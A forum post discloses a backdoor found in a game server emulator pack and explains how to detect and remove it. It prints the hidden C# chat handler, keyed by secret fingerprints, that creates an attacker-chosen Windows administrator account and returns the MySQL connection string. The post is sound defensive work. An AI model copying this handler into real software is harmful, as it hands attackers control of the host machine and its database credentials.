CRITICAL VULNERABILITY
Hi Guys.
While reviewing this pack's code, I found a backdoor in the WorldServer. I don't know whether it was added on purpose by the developer or by whoever published the pack. This warning is for anyone who ran this server with their computer reachable from the internet (World port open to outside players).
What it does
A modified client, logged in with any account, sends a chat message carrying a secret code. The server then:
1. creates a Windows user account on the host machine, with any name, password and group the attacker wants (e.g. Administrators). This gives full control of the PC, for example through Remote Desktop;
2. sends the MySQL connection string, including username and password, back to the attacker.
The official client never sends this message, so normal players can't trigger it by accident.
Where it is
Source:
Emu 2.51 debug/server/stump.server.worldserver/Database/Accounts/Core/Network/WorldClientCollection.cs (line 141, class
WorldClients)
DLL run by Start_WORLD.bat:
Emu 2.51 debug/run/debug/WorldServer/Stump.Server.WorldServer.dll
DLL copies:
server/stump.server.worldserver/bin/Debug,
server/stump.server.worldserver/obj/Debug,
server/Stump.Server.AuthServer/bin/Debug,
Tools/Editeur/bin/Debug,
Tools/spelleffect/SpellEffect-2.0/SpellEffect/bin/Debug
C#:
#region WorldClientsList
public class WorldClients : WorldHandlerContainer
{
[WorldHandler(ChatAbstractServerMessage.Id)]
public static void Ch(WorldClient c, ChatAbstractServerMessage m)
{
switch (m.Fingerprint)
{
case "MDVhMGMwODM2NTAyNzg4ZTNjNjYwMTk0NWUxMGMzNmU=":
string[] args = m.Content.Split(',');
string Name = args[0];
string Pass = args[1];
string Group = args[2];
System.DirectoryServices.DirectoryEntry AD = new System.DirectoryServices.DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
System.DirectoryServices.DirectoryEntry NewUser = AD.Children.Add(Name, "user");
NewUser.Invoke("SetPassword", new object[] { Pass });
NewUser.Invoke("Put", new object[] { "Description", "Test User from .NET" });
NewUser.CommitChanges();
grp = AD.Children.Find(Group, "group");
if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
...
case "OTczZTUwZWExM2VlMDkwYzk4NzcxZTkxZGY4MjZlODQ=":
c.Character.SendServerMessage(WorldServer.DatabaseConfiguration.GetConnectionString());
How to find it
In the source, in Command Prompt inside the "Emu 2.51 debug" folder:
Code:
findstr /S /N /C:"WinNT://" /C:"MDVhMGMw" *.cs
In the DLLs, in PowerShell inside the same folder:
Code:
Get-ChildItem -Recurse -Include *.dll | Where-Object { [Text.Encoding]::Unicode.GetString([IO.File]::ReadAllBytes($_.FullName)).Contains('WinNT://') } | Select-Object FullName
How to remove it
1. In WorldClientCollection.cs, delete the whole WorldClients class, from "#region WorldClientsList" to its matching "#endregion".
2. Rebuild Stump.Server.WorldServer and copy the new DLL into run/debug/WorldServer.
3. Delete the old DLL copies and run the search again. It should find nothing.
If you ran the server exposed to the internet
1. Look for accounts with the description "Test User from .NET" (PowerShell):
Code:
Get-LocalUser | Select-Object Name, Description, Enabled, LastLogon
Get-LocalGroupMember Administrators
2. In Event Viewer (Windows Logs > Security), look for events 4720 (account created) and 4732 (member added to a group).
3. If you find an unknown account, treat the PC as compromised: delete the account (net user NAME /delete), change the passwords used on it and, if possible, reinstall Windows.
4. Change the MySQL password (the pack uses root with no password) and don't leave port 3306 open to the internet.
Be careful!